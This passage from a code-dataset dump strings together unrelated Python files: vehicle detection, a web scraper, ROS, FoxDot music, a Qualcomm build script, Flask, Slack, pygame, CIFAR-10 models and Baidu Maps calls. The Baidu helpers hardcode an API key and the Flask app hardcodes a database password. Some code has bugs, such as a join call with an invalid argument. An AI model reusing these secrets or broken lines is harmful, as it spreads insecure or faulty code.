cv2.cvtColor(image, cv2.COLOR_RGB2HLS)\n elif cspace == 'YUV':\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2YUV)\n elif cspace == 'YCrCb':\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2YCrCb)\n else: feature_image = np.copy(image)\n\n if hog_channel == 'ALL':\n hog_features = []\n for channel in range(feature_image.shape[2]):\n hog_features.append(hog(feature_image[:,:,channel],\n orientations=9, pixels_per_cell=(8, 8),cells_per_block=(2, 2),\n visualize=False, feature_vector=True))\n hog_features = np.ravel(hog_features)\n else:\n hog_features = hog(feature_image[:,:,hog_channel], orientations=9, pixels_per_cell=(8, 8),cells_per_block=(2, 2),\n visualize=False, feature_vector=True)\n features.append(hog_features)\n\n return features\n\ncar_features=hog_feature(car_images)\nnoncar_features=hog_feature(noncar_images)\n\nX = np.vstack((car_features, noncar_features)).astype(np.float64)\ny = np.hstack((np.ones(len(car_features)), np.zeros(len(noncar_features))))\nrand_state = np.random.randint(0, 100)\nX_train, X_test, y_train, y_test = train_test_split(\n X, y, test_size=0.2, random_state=rand_state)\n\n\nsvc = LinearSVC()\nsvc.fit(X_train, y_train)\nprint('Test Accuracy of SVC = {:.2%}'.format(svc.score(X_test, y_test)))\nCM = confusion_matrix(y_test, svc.predict(X_test))\nprint('False positives {:.2%}'.format( CM[0][1] / len(y_test)))\nprint('False negatives {:.2%}'.format( CM[1][0] / len(y_test)))\n\ndef finding_vehicle(image,cspace='RGB'):\n if cspace != 'RGB':\n if cspace == 'HSV':\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2HSV)\n elif cspace == 'LUV':\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2LUV)\n elif cspace == 'HLS':\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2HLS)\n elif cspace == 'YUV':\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2YUV)\n elif cspace == 'YCrCb':\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2YCrCb)\n else:\n feature_image = np.copy(image)\n\n image1=np.copy(feature_image)\n x_end = image1.shape[1]\n x_start=0\n y_end=image1.shape[0]\n y_start = 336#去掉不要的上半部分\n nx_step=25\n ny_step = 50\n bbox=[]\n\n for ny in range(y_start, y_end, ny_step):\n for nx in range(x_start, x_end, nx_step):\n startx = nx\n endx = nx + 150\n starty = ny\n endy = ny + 150\n sub_image=image1[starty:endy, startx:endx]\n sub_image = cv2.resize(sub_image, (64, 64))\n\n ch1 = sub_image[:, :, 0]\n ch2 = sub_image[:, :, 1]\n ch3 = sub_image[:, :, 2]\n\n hog_features1 = hog(ch1, orientations=9, pixels_per_cell=(8, 8),\n cells_per_block=(2, 2),\n visualize=False, feature_vector=True).ravel()\n hog_features2 = hog(ch2, orientations=9, pixels_per_cell=(8, 8),\n cells_per_block=(2, 2),\n visualize=False, feature_vector=True).ravel()\n hog_features3 = hog(ch3, orientations=9, pixels_per_cell=(8, 8),\n cells_per_block=(2, 2),\n visualize=False, feature_vector=True).ravel()\n\n hog_feature = np.vstack((hog_features1, hog_features2, hog_features3)).astype(np.float64)\n test_prediction = svc.predict(hog_feature)\n\n if np.all(test_prediction) == 1:\n #output=cv2.rectangle(image, (startx, starty), (endx, endy), (0, 255, 0), 6)\n bbox.append(((startx, starty), (endx, endy)))\n\n return bbox\n\ndef add_heat(heatmap, bbox_list):\n for box in bbox_list:\n heatmap[box[0][1]:box[1][1], box[0][0]:box[1][0]] += 1\n return heatmap\n\ndef apply_threshold(heatmap, threshold):\n heatmap[heatmap <= threshold] = 0\n return heatmap\n\ndef draw_labeled_bboxes(img, labels):\n for car_number in range(1, labels[1]+1):\n nonzero = (labels[0] == car_number).nonzero()\n nonzeroy = np.array(nonzero[0])\n nonzerox = np.array(nonzero[1])\n bbox = ((np.min(nonzerox), np.min(nonzeroy)), (np.max(nonzerox), np.max(nonzeroy)))\n cv2.rectangle(img, bbox[0], bbox[1], (0,0,255), 6)\n return img\n\ndef heatmap(image,bbox):\n heat = np.zeros_like(image[:, :, 0]).astype(np.float)\n heat = add_heat(heat, bbox)\n threshold = 5\n heat = apply_threshold(heat, threshold)\n heatmap = np.clip(heat, 0, 255)\n labels = label(heatmap)\n draw_img = draw_labeled_bboxes(np.copy(image), labels)\n return draw_img\n\ndef pipline(image):\n bbox=finding_vehicle(image)\n heatmap_image=heatmap(image, bbox=bbox)\n return heatmap_image\n\nimport imageio\nimageio.plugins.ffmpeg.download\nfrom moviepy.editor import VideoFileClip\nfrom IPython.display import HTML\n\nhistory = deque(maxlen = 8)\noutput = '../data/test_video/test_result.mp4'\nclip = VideoFileClip(\"../data/test_video/test_video.mp4\")\nvideo_clip = clip.fl_image(pipline)\nvideo_clip.write_videofile(output, audio=False, fps=5)\n\n\nhistory = deque(maxlen = 8)\noutput = '../data/test_video/project_result.mp4'\nclip = VideoFileClip(\"../data/test_video/project_video.mp4\")\nvideo_clip = clip.fl_image(pipline)\nvideo_clip.write_videofile(output, audio=False, fps=5)\n\n","sub_path":"vehicle_detection_output.py","file_name":"vehicle_detection_output.py","file_ext":"py","file_size_in_byte":6566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"584290080","text":"import requests\nimport os\n\nfrom sql_server.sql_server_class import SqlServer\n\n\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0'\n}\nitems = ['school_id', 'name', 'f985', 'f211', 'dual_class_name']\n\n\ndef get_university_logo(s_id):\n url = 'https://static-data.eol.cn/upload/logo/{}.jpg'.format(s_id)\n res = requests.get(url, headers=headers)\n if res.status_code == 200:\n with open(os.path.dirname(os.getcwd()) + '\\\\university_logo\\\\' + str(s_id) + '.jpg', 'bw') as f:\n f.write(res.content)\n\n\ndef get_university_info():\n sql_server = SqlServer('course_design')\n url = 'https://api.eol.cn/gkcx/api/?access_token=&admissions=¢ral=&department=&dual_class=&f211=&f985=&is_dual_class=&keyword=&page={}&province_id=&request_type=1&school_type=&signsafe=&size=20&sort=view_total&type=&uri=apigkcx/api/school/hotlists'\n sql = 'insert into schools values(%s, %s, %s, %s, %s)'\n con, cur = sql_server.connect_and_cursor\n for i in range(1, 143):\n tmp_url = url.format(i)\n res = requests.get(tmp_url, headers=headers)\n data = res.json()['data']['item']\n tmp_data = []\n for d in data:\n d[items[4]] = 1 if d[items[4]] == '双一流' else 2\n get_university_logo(d[items[0]])\n tmp = []\n for item in items:\n tmp.append(d[item])\n tmp_data.append(tuple(tmp))\n cur.executemany(sql, tmp_data)\n con.commit()\n print(i, tmp_data[0][0])\n\n\nif __name__ == '__main__':\n get_university_info()\n","sub_path":"get_info/get_university_info.py","file_name":"get_university_info.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"232009157","text":"#!/usr/bin/env python\nimport rospy\nfrom geometry_msgs.msg import Twist\nfrom sensor_msgs.msg import Joy\nfrom std_msgs.msg import Int8\n\nclass gripper_reset():\n def __init__(self):\n rospy.init_node('gripper_reset')\n self.pub = rospy.Publisher('/gripper_req', Int8, queue_size=1)\n self.gripper_msg = Int8()\n for i in range(0,5):\n self.pub.publish(self.gripper_msg)\n rospy.sleep(0.05)\n\nif __name__ == '__main__':\n gripper_reset()\n\t\n","sub_path":"gripper/gripper_control/script/reset.py","file_name":"reset.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"422395199","text":"# Steno Wörter wie \"pads\", \"bass\", oder \"play\" steuern SynDefs aus Supercollider an\n # Auch Effekte oder Quarks können angesteuert werden... Siehe \"Bits\" \"Crush\"\n\ndyn1 = var([2,-3,1,0.33,7,5],6) # Eine Variable die sich über die Zeit verändert, d.h. die Zustände [] annimmt\ndyn2 = var([4,-9,1,0.33,3,11],6)\n\n#Ein paar Pads für die schöne Atmo:\np1 >> pads([(dyn1,9,dyn2),(9,dyn1,9),(dyn2,9,dyn1),(9,dyn1,9),(dyn1,9,dyn2)], coarse=0.2, hpr=P[1,1,0.3].stretch(8))\n\n#Tupel spielen Akkorde (Vertikal)\n\nb1 >> bass((P[:4]).reverse(),dur=PDur(3,8)*2, sus=1, blur=[2,3], pan=[-1,0,1,0,0], bits=8, fmod=linvar([0,2],8), room=4, amp=PEuclid(5,8)*0.8, lpf=500).follow(p1)\n\npads = Group(p1,b1)\n\npads.bits = 8\npads.crush = 10 \n\nstring1=\"iCh bin 1String. Jeder Buchstabe von mir triggert ein Sample an.\" #String zum Drums Triggern\n\npads.crush = (1/4 * len(string1)) # Bit Crush Faktor durch die länge des Strings modulieren\n\nprint(string1[0:15]) # Nur die ersten 15 Elemente des Strings \n\nprint(string1[-64:-49]) # Auch die ersten 15 Elemente\n\nd2 >> play(string1[0:15], amp=1.2) # Loopt die X ich bin ein String X\n\nend = 64\n\ndef JAM2(i=0):\n \n if i > end:\n Clock.clear() \n return\n\t\n elif (i > 0 and i <= 8):\n print(i)\n print(string1)\n d1 >> play(string1)\n d1.dur=1/4\n d1.amp = 0.8\n Clock.future(1, lambda: JAM2(i+1))\n\n elif (i > 8 and i <= 16):\n print(i)\n print(\" \".join(sorted(string1))) #sortiert den string nach buchstaben\n d1 >> play(\" \".join(sorted(string1))) \n Clock.future(1, lambda: JAM2(i+1))\n\n elif (i > 16 and i <= 24):\n print(i)\n print(\" \".join(sorted(string1), reverse= True)) #sortiert in umgekehrter reihenfolge\n d1 >> play(\" \".join(sorted(string1), reverse = True)) \n Clock.future(1, lambda: JAM2(i+1))\n\n elif (i > 24 and i <= 32):\n print(i)\n print(sorted(string1))\n d1 >> play(sorted(string1)) \n Clock.future(1, lambda: JAM2(i+1))\n\n elif (i > 32 and i <= 40):\n print(i)\n print(\" \".join(sorted(string1), reverse= True))\n d1 >> play(\" \".join(sorted(string1), reverse = True)) \n Clock.future(1, lambda: JAM2(i+1))\n\n elif (i > 40 and i <= 48 ):\n print(i)\n print(sorted(string1))\n d1 >> play(sorted(string1)) \n Clock.future(1, lambda: JAM2(i+1))\n else:\n JAM2(i+1)\n \nJAM2() \n","sub_path":"64_beats_made_of_sorted_strings.py","file_name":"64_beats_made_of_sorted_strings.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"239439893","text":"#===============================================================================\n#\n# DAL CONFIG Lib\n#\n# GENERAL DESCRIPTION\n# build script\n#\n# Copyright (c) 2009-2010 by Qualcomm Incorporated.\n# All Rights Reserved.\n# Qualcomm Confidential and Proprietary\n#\n#-------------------------------------------------------------------------------\n#\n# $Header: //source/qcom/qct/core/pkg/rpm/rel/1.1.7/core/dal/config/build/SConscript#1 $\n# $DateTime: 2012/07/31 14:15:05 $\n# $Author: c_jpankh $\n# $Change: 2647707 $\n# EDIT HISTORY FOR FILE\n# \n# This section contains comments describing changes made to the module.\n# Notice that changes are listed in reverse chronological order.\n# \n# when who what, where, why\n# -------- --- ---------------------------------------------------------\n# 01/25/11 sho Restore TZ for 8660 and 8960\n# 01/11/11 sho Removed TZOS_IMAGE\n# 12/07/10 sc Added APPS_PROC in check for 8960\n# 12/02/10 sc Added check for 8960 to use the correct modem/dsp dir\n# 10/25/10 sc Added KERNEL_MEMORYMANAGER\n# 09/23/10 sc Added SBL1_BOOT_IMAGE\n# 09/20/10 vk Added support for NOR_TOOLS_IMAGE\n# 07/13/10 sc Added support for RPM_IMAGE\n# 07/08/10 sc Updated with CORE_SPS and CORE_RPM\n# 04/20/10 sho Added TZOS_IMAGE\n# 03/24/10 wd Added dependencies to have SCons rebuild when needed.\n# 05/06/09 wd Create\n#\n#===============================================================================\nImport('env')\nimport os\nenv = env.Clone()\n\n#-------------------------------------------------------------------------------\n# Load dal config builders\n#-------------------------------------------------------------------------------\nenv.Tool('dalconfig_builder', toolpath = ['.'])\n\n#-------------------------------------------------------------------------------\n# Source PATH\n#-------------------------------------------------------------------------------\nSRCPATH = \"${DAL_ROOT}/config\"\n\nenv.VariantDir('${BUILDPATH}', SRCPATH, duplicate=0) \n\n#-------------------------------------------------------------------------------\n# External paths, NOTE: DALConfig is a special case as it may require any\n# \".h\" file which may not be a public API\n#-------------------------------------------------------------------------------\n\nEXTERNAL_API = [\n 'MODEM_PMIC', #pm.h\n]\nenv.RequireExternalApi(EXTERNAL_API)\n\n#-------------------------------------------------------------------------------\n# Internal depends within CoreBSP\n#-------------------------------------------------------------------------------\nCBSP_API = [\n 'DAL',\n 'HAL',\n 'BUSES',\n 'HWENGINES',\n 'SYSTEMDRIVERS',\n 'SYSTEMDRIVERS_DALCONFIG',\n 'DEBUGTOOLS',\n 'SERVICES',\n 'APTTESTS',\n 'KERNEL_MEMORYMANAGER',\n 'KERNEL'\n]\n\nenv.RequirePublicApi(CBSP_API)\nenv.RequireRestrictedApi(CBSP_API)\n\n#-------------------------------------------------------------------------------\n# Sources, libraries\n#-------------------------------------------------------------------------------\nif env.has_key('CORE_SPS'):\n dal_sys_xml = \"${BUILDPATH}/sps/dalsystem_sps.xml\"\n dal_gen_xml = \"${BUILDPATH}/dal_mod_sps.xml\"\n dal_gen_src = ['${BUILDPATH}/DALConfig_sps', '${BUILDPATH}/DALModDir_sps']\nelif env.has_key('CORE_RPM') or env.has_key('RPM_IMAGE'):\n dal_sys_xml = \"${BUILDPATH}/rpm/dalsystem_rpm.xml\"\n dal_gen_xml = \"${BUILDPATH}/dal_mod_rpm.xml\"\n dal_gen_src = ['${BUILDPATH}/DALConfig_rpm', '${BUILDPATH}/DALModDir_rpm']\nelif env.has_key('TZOS_IMAGE'):\n if env['MSM_ID'] in ['8660','8960']:\n dal_sys_xml = \"${BUILDPATH}/tz/dalsystem_tz.xml\"\n dal_gen_xml = \"${BUILDPATH}/dal_mod_tz.xml\"\n dal_gen_src = ['${BUILDPATH}/DALConfig_tz', '${BUILDPATH}/DALModDir_tz']\nelif env.has_key('WCN_IMAGE'):\n dal_sys_xml = \"${BUILDPATH}/wcn/dalsystem_wcn.xml\"\n dal_gen_xml = \"${BUILDPATH}/dal_mod_wcn.xml\"\n dal_gen_src = ['${BUILDPATH}/DALConfig_wcn', '${BUILDPATH}/DALModDir_wcn']\nelif env.has_key('BUILD_BOOT_CHAIN') or env.has_key('BUILD_TOOL_CHAIN'):\n dal_sys_xml = \"${BUILDPATH}/dal_mod_boot.xml\"\n dal_gen_xml = \"${BUILDPATH}/dal_mod_boot_copy.xml\"\n dal_gen_src = ['${BUILDPATH}/DALConfig_boot', '${BUILDPATH}/DALModDir_boot']\nelif env['MSM_ID'] in ['8960']:\n if env.has_key('MODEM_PROC') or env.has_key('SINGLE_PROC'):\n dal_sys_xml = \"${BUILDPATH}/modem/dalsystem_modem.xml\"\n dal_gen_xml = \"${BUILDPATH}/dal_mod_modem.xml\"\n dal_gen_src = ['${BUILDPATH}/DALConfig_modem', '${BUILDPATH}/DALModDir_modem']\n elif env.has_key('QDSP6_PROC'):\n dal_sys_xml = \"${BUILDPATH}/dsp/dalsystem_dsp.xml\"\n dal_gen_xml = \"${BUILDPATH}/dal_mod_dsp.xml\"\n dal_gen_src = ['${BUILDPATH}/DALConfig_dsp', '${BUILDPATH}/DALModDir_dsp']\n elif env.has_key('APPS_PROC'):\n dal_sys_xml = \"${BUILDPATH}/apps/dalsystem_apps.xml\"\n dal_gen_xml = \"${BUILDPATH}/dal_mod_apps.xml\"\n dal_gen_src = ['${BUILDPATH}/DALConfig_apps', '${BUILDPATH}/DALModDir_apps']\nelif env.has_key('QDSP6_PROC'):\n dal_sys_xml = \"${BUILDPATH}/dsp/dalsystem_dsp.xml\"\n dal_gen_xml = \"${BUILDPATH}/dal_mod_dsp.xml\"\n dal_gen_src = ['${BUILDPATH}/DALConfig_dsp', '${BUILDPATH}/DALModDir_dsp']\nelif env.has_key('MODEM_PROC') or env.has_key('SINGLE_PROC'):\n dal_sys_xml = \"${BUILDPATH}/modem/dalsystem_modem.xml\"\n dal_gen_xml = \"${BUILDPATH}/dal_mod_modem.xml\"\n dal_gen_src = ['${BUILDPATH}/DALConfig_modem', '${BUILDPATH}/DALModDir_modem']\nelif env.has_key('APPS_PROC'):\n dal_sys_xml = \"${BUILDPATH}/apps/dalsystem_apps.xml\"\n dal_gen_xml = \"${BUILDPATH}/dal_mod_apps.xml\"\n dal_gen_src = ['${BUILDPATH}/DALConfig_apps', '${BUILDPATH}/DALModDir_apps']\n\nDALConfig_xml = env.DALConfigXmlBuilder(dal_gen_xml, dal_sys_xml)\nDALConfig_src = env.DALConfigSrcBuilder(dal_gen_src, DALConfig_xml)\n\nif env.has_key('CORE_SPS') or env.has_key('CORE_RPM') or env.has_key('RPM_IMAGE'):\n env.Append(CPPDEFINES = [\"DAL_NATIVE_PLATFORM\"])\n \ndalconfig_obj = env.Object(DALConfig_src)\ndalconfig_lib = env.Library('${BUILDPATH}/DALConfig', dalconfig_obj)\n\n# add explicit dependency so SCons know that when ever XML changes so does the \n# objs have to get re-compiled\nenv.Depends (dalconfig_obj, DALConfig_xml)\n\n#-------------------------------------------------------------------------------\n# Add Libraries to image\n#-------------------------------------------------------------------------------\nenv.AddLibsToImage(\n ['SINGLE_IMAGE', 'CBSP_SINGLE_IMAGE', 'MODEM_IMAGE', 'CBSP_MODEM_IMAGE',\n 'APPS_IMAGE', 'CBSP_APPS_IMAGE', 'QDSP6_SW_IMAGE', 'CBSP_QDSP6_SW_IMAGE',\n 'APPSBL_BOOT_IMAGE', 'NAND_TOOLS_IMAGE', 'NOR_TOOLS_IMAGE', 'HOSTDL_IMAGE', \n 'EHOSTDL_IMAGE', 'OSBL_BOOT_IMAGE', 'SBL1_BOOT_IMAGE',\n 'SBL2_BOOT_IMAGE','SBL3_BOOT_IMAGE', 'CORE_SPS', 'CORE_RPM', 'RPM_IMAGE',\n 'WCN_IMAGE', 'CBSP_WCN_IMAGE', 'CORE_WCN'], \n dalconfig_lib)\n\nif env['MSM_ID'] in ['8660','8960']:\n env.AddLibsToImage('TZOS_IMAGE', dalconfig_lib)\n\nif env.PathExists(\"${DAL_ROOT}/config/boot_dbl\"):\n env.AddLibsToImage('DBL_BOOT_IMAGE', dalconfig_lib)\n\n\n","sub_path":"rpm_proc/core/dal/config/build/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":7073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"441680681","text":"from datetime import datetime\nfrom flask import Flask, render_template, jsonify\nfrom . import app\nimport pymssql\n\ndef getData():\n server = \"localhost\" # 连接服务器地址\n user = \"sa\"# 连接帐号\n password = \"000000\"# 连接密码\n\n conn = pymssql.connect(server, user, password, \"PRETECTED\") #获取连接\n\n cursor = conn.cursor() # 获取光标\n cursor.execute('''SELECT TOP 1000 [id]\n ,[名称]\n ,[生态功能]\n ,[类型]\n ,[城市]\n ,[县区]\n ,[属性]\n FROM [PRETECTED].[dbo].[BORDER]''')\n data = cursor.fetchall()\n key = ['ID', '名称','生态功能','类型','城市','县区','属性', '操作']\n return data, key\n\n\n@app.route(\"/table\")\ndef table():\n data, key = getData()\n return render_template('table.html', labels=key, content=data)\n\n\n@app.route(\"/table/\")\ndef searchTable(keyWord):\n data, key = getData()\n\n newDate = []\n for row in data:\n if keyWord == str(row[0]):\n newDate.append(row)\n else:\n for value in row[1:]:\n if keyWord in value:\n newDate.append(row)\n continue\n\n if len(newDate) == 0:\n return '没有搜索到结果,请重新输入关键词!'\n else:\n return render_template('table.html', labels=key, content=newDate)\n","sub_path":"flask_app/table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"364298758","text":"#!/usr/bin/env python3\n\nimport torch\nimport numpy as np\n\nimport matplotlib.pyplot as plt\n\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nimport torchvision.transforms as transforms\nfrom torch.utils.data import Dataset, DataLoader\n\ndef conv_bn_relu(in_channels, out_channels, kernel_size, padding=1, init=\"xavier\", pooling=False):\n conv = nn.Conv2d(in_channels, out_channels, kernel_size, padding=padding)\n if(init == \"xavier\"):\n nn.init.xavier_normal(conv.weight)\n if(init == \"norm\"):\n nn.init.normal(conv.weight, 0.01)\n if(pooling):\n return nn.Sequential(conv, nn.BatchNorm2d(out_channels), nn.ReLU(), nn.MaxPool2d(2))\n else:\n return nn.Sequential(conv, nn.BatchNorm2d(out_channels), nn.ReLU())\n\n\nclass model1(nn.Module):\n # simple net, with 75% accuracy\n def __init__(self):\n super().__init__()\n self.conv1 = conv_bn_relu(3, 64, 3)\n self.conv2 = conv_bn_relu(64, 128, 3)\n self.conv3 = conv_bn_relu(128, 128, 3)\n self.conv4 = conv_bn_relu(128, 128, 3, pooling=True)\n self.conv5 = conv_bn_relu(128, 128, 3)\n self.conv6 = conv_bn_relu(128, 128, 3)\n self.conv7 = conv_bn_relu(128, 128, 3, pooling=True)\n self.conv8 = conv_bn_relu(128, 128, 3)\n self.conv9 = conv_bn_relu(128, 128, 3, pooling=True)\n self.conv10 = conv_bn_relu(128, 128, 3)\n self.conv11 = conv_bn_relu(128, 128, 1)\n self.conv12 = conv_bn_relu(128, 128, 1, pooling=True)\n self.conv13 = conv_bn_relu(128, 128, 3, pooling=True)\n self.fc = nn.Linear(128*2*2, 10)\n self.sm = nn.Softmax()\n \n def forward(self, x):\n x = self.conv1(x)\n x = self.conv2(x)\n x = self.conv3(x)\n x = self.conv4(x)\n x = self.conv5(x)\n x = self.conv6(x)\n x = self.conv7(x)\n x = self.conv8(x)\n x = self.conv9(x)\n x = self.conv10(x)\n x = self.conv11(x)\n x = self.conv12(x)\n x = self.conv13(x)\n x = x.view(-1,128*2*2)\n x = self.fc(x)\n x = self.sm(x)\n return x\n\nclass model2(nn.Module):\n # nagadomi/kaggle-cifar10-torch7\n def __init__(self):\n super().__init__()\n self.conv = nn.Sequential(nn.Conv2d(3, 128, 5),\n nn.BatchNorm2d(128),\n nn.ReLU(),\n nn.MaxPool2d(2),\n nn.Conv2d(128, 256, 5),\n nn.BatchNorm2d(256),\n nn.ReLU(),\n nn.MaxPool2d(2),\n nn.Conv2d(256, 512, 4, padding=1),\n nn.BatchNorm2d(512),\n nn.ReLU(),\n nn.Conv2d(512, 1024, 2),\n nn.BatchNorm2d(1024),\n nn.ReLU(),\n nn.Dropout(),\n nn.Conv2d(1024, 10, 1),\n nn.BatchNorm2d(10),\n )\n self.fc = nn.Linear(10*3*3, 10)\n self.sm = nn.Softmax()\n \n def forward(self, x):\n x = self.conv(x)\n x = x.view(-1, 3*3*10)\n x = self.fc(x)\n x = self.sm(x)\n return x\n \nclass model3(nn.Module):\n # SimpleNet test model, 59%\n def __init__(self):\n super().__init__()\n print(\"new\")\n self.conv1 = conv_bn_relu(3, 64, 3)\n self.conv1_0 = conv_bn_relu(64, 128, 3)\n self.conv2 = conv_bn_relu(128, 128, 3, init=\"normal\")\n self.conv2_1 = conv_bn_relu(128, 128, 3, pooling=True, init=\"normal\")\n self.conv2_2 = conv_bn_relu(128, 128, 3, init=\"normal\")\n self.conv3 = conv_bn_relu(128, 128, 3)\n self.conv4 = nn.Conv2d(128, 256, 3, padding=1)\n nn.init.xavier_normal(self.conv4.weight)\n self.pool4 = nn.MaxPool2d(2)\n self.bn4 = nn.BatchNorm2d(256)\n self.relu4 = nn.ReLU()\n self.conv4_1 = conv_bn_relu(256, 256, 3)\n self.conv4_2 = conv_bn_relu(256, 256, 3)\n self.pool4_2 = nn.MaxPool2d(2)\n self.conv4_0 = conv_bn_relu(256, 512, 3)\n self.cccp4 = nn.Conv2d(512, 2048, 1, padding=1)\n self.relu_cccp4 = nn.ReLU()\n self.cccp5 = nn.Conv2d(2048, 256, 1, padding=1)\n self.relu_cccp5 = nn.ReLU()\n self.pool_cccp5 = nn.MaxPool2d(2)\n self.cccp6 = nn.Conv2d(256, 256, 3, padding=1)\n self.relu_cccp6 = nn.ReLU()\n self.pool_cccp6 = nn.MaxPool2d(2)\n self.linear = nn.Linear(2*2*256, 10)\n self.sm = nn.Softmax()\n \n def forward(self, x):\n x = self.conv1(x)\n x = self.conv1_0(x)\n x = self.conv2(x)\n x = self.conv2_1(x)\n x = self.conv2_2(x)\n x = self.conv3(x)\n x = self.conv4(x)\n x = self.pool4(x)\n x = self.bn4(x)\n x = self.relu4(x)\n x = self.conv4_1(x)\n x = self.conv4_2(x)\n x = self.pool4_2(x)\n x = self.conv4_0(x)\n\n x = self.cccp4(x)\n x = self.relu_cccp4(x)\n x = self.cccp5(x)\n \n x = self.relu_cccp5(x)\n x = self.pool_cccp5(x)\n x = self.cccp6(x)\n x = self.relu_cccp6(x)\n x = self.pool_cccp6(x)\n x = x.view(-1, 2*2*256)\n x = self.linear(x)\n x = self.sm(x)\n return x\n","sub_path":"hw3/cifar10_models.py","file_name":"cifar10_models.py","file_ext":"py","file_size_in_byte":5403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"225365144","text":"import os\nimport time\nfrom slackclient import SlackClient\n\ntoken = os.environ['SLACK_API_TOKEN']\nsc = SlackClient(token)\nprint (sc.rtm_connect())\n\nif sc.rtm_connect():\n print(\"Bot connected and running!\")\nelse:\n print(\"Connection failed. Invalid Slack token?\")\ninput(\"Press enter for å forsett....\")\n","sub_path":"testforconnections.py","file_name":"testforconnections.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"559393131","text":"\n# Pygame base template for opening a window\n\n# Sample Python/Pygame Programs\n# Simpson College Computer Science\n# http://programarcadegames.com/\n# http://simpson.edu/computer-science/\n\n# Explanation video: http://youtu.be/vRB_983kUMc\n# \n\nimport pygame\nimport random \nfrom random import randint\n\nPURPLE = (66,0,99)\nBLUE = (0,0,255)\nSLATE = (98,108,138)\nAQUAMARINE = (0,230,161)\nDARKBLUE = (8,53,150)\nGREEN = (0,255,0)\nDARKGREEN = (8,150,34)\nLIME = (99,230,67)\nRED = (255,0,0)\nSUNSET = (252,85,58)\nDUSKYROSE = (230,181,238)\nCREAM = (231,240,156)\nWHITE = (255,255,255)\nBLACK = (0,0,0)\nGREY = (127, 127, 127)\n\npygame.init()\n\nclock = pygame.time.Clock()\nscreen_size = (700, 500)\nscreen = pygame.display.set_mode(screen_size)\n\ncolours = [PURPLE,BLUE,SLATE,AQUAMARINE,DARKBLUE,GREEN,LIME,RED,SUNSET,DUSKYROSE,CREAM,WHITE,BLACK,GREY]\n\npygame.display.set_caption(\"Less Evil But Still A Butt\")\n\n\nx = 350\ny = 250\ndone = False\n\n\n\nwhile done == False:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\n screen.fill(DARKGREEN)\n if x > 0:\n x = (x*1)\n y = (y*-1)\n pygame.draw.circle(screen, colours[randint(0,13)], (x,y), 30, 0)\n pygame.display.flip()\n elif x < 700:\n x+=(randint(5,15))\n y+=(randint(5,10))\n pygame.draw.circle(screen, colours[randint(0,13)], (x,y), 30, 0)\n pygame.display.flip() \n elif y > 0:\n x+=(randint(5,15))\n y+=(randint(5,10))\n pygame.draw.circle(screen, colours[randint(0,13)], (x,y), 30, 0)\n pygame.display.flip()\n elif y < 500:\n x+=(randint(5,15))\n y+=(randint(5,10))\n pygame.draw.circle(screen, colours[randint(0,13)], (x,y), 30, 0)\n pygame.display.flip()\n\n clock.tick(10)\n # pygame.ball.move((randint(1-700,),randint(1-500)))\n\n # --- Game logic should go here\n\n# --- Screen-clearing code goes here\n\n# Here, we clear the screen to white. Don't put other drawing commands\n# above this, or they will be erased with this command.\n\n# If you want a background image, replace this clear with blit'ing the\n# background image.\n# screen.fill(WHITE)\n\n# --- Drawing code should go here\n \n\n\npygame.quit()\nexit()\n","sub_path":"Python/bouncing_ball.py","file_name":"bouncing_ball.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"144101847","text":"import requests\nimport json\nfrom requests.adapters import *\nimport requests.adapters\n\ndef get_place(place):\n url = \"http://api.map.baidu.com/place/v2/search?query=\"\n myak = \"®ion=西安&output=json&ak=gPItzAVKUHLXAGcVgIzGMOz8PsZKzGdY\"\n all_url = url+place+myak\n print(all_url)\n # 这里设置请求最大次数,如果失败,再次发起请求\n timeout = 500\n socket.setdefaulttimeout(timeout) # 设置超时\n requests.adapters.DEFAULT_RETRIES = 5\n i = 5\n while i>0:\n try:\n req = requests.get(all_url)\n content = json.loads(req.text)\n if content[\"status\"] != 0:\n print(content[\"status\"])\n return 0\n return content[\"results\"]\n except:\n i = i-1\n return 0\n\ndef get_park(location):\n url = \"http://api.map.baidu.com/place/v2/search?query=停车场&location=\"\n myak = \"&radius=2000&output=json&ak=gPItzAVKUHLXAGcVgIzGMOz8PsZKzGdY\"\n all_url = url + location + myak\n timeout = 500\n socket.setdefaulttimeout(timeout) # 设置超时\n requests.adapters.DEFAULT_RETRIES = 5\n i = 5\n while i > 0:\n try:\n req = requests.get(all_url)\n content = json.loads(req.text)\n if content[\"status\"] != 0:\n print(content[\"status\"])\n return 0\n return content[\"results\"]\n except:\n i = i - 1\n return 0\n\ndef get_distance(origins,destinations):\n url=\"http://api.map.baidu.com/direction/v2/driving?output=json&origin=\"\n link = \"&destination=\"\n myak = \"&output=json&ak=gPItzAVKUHLXAGcVgIzGMOz8PsZKzGdY\"\n all_url = url + origins + link + destinations + myak\n timeout = 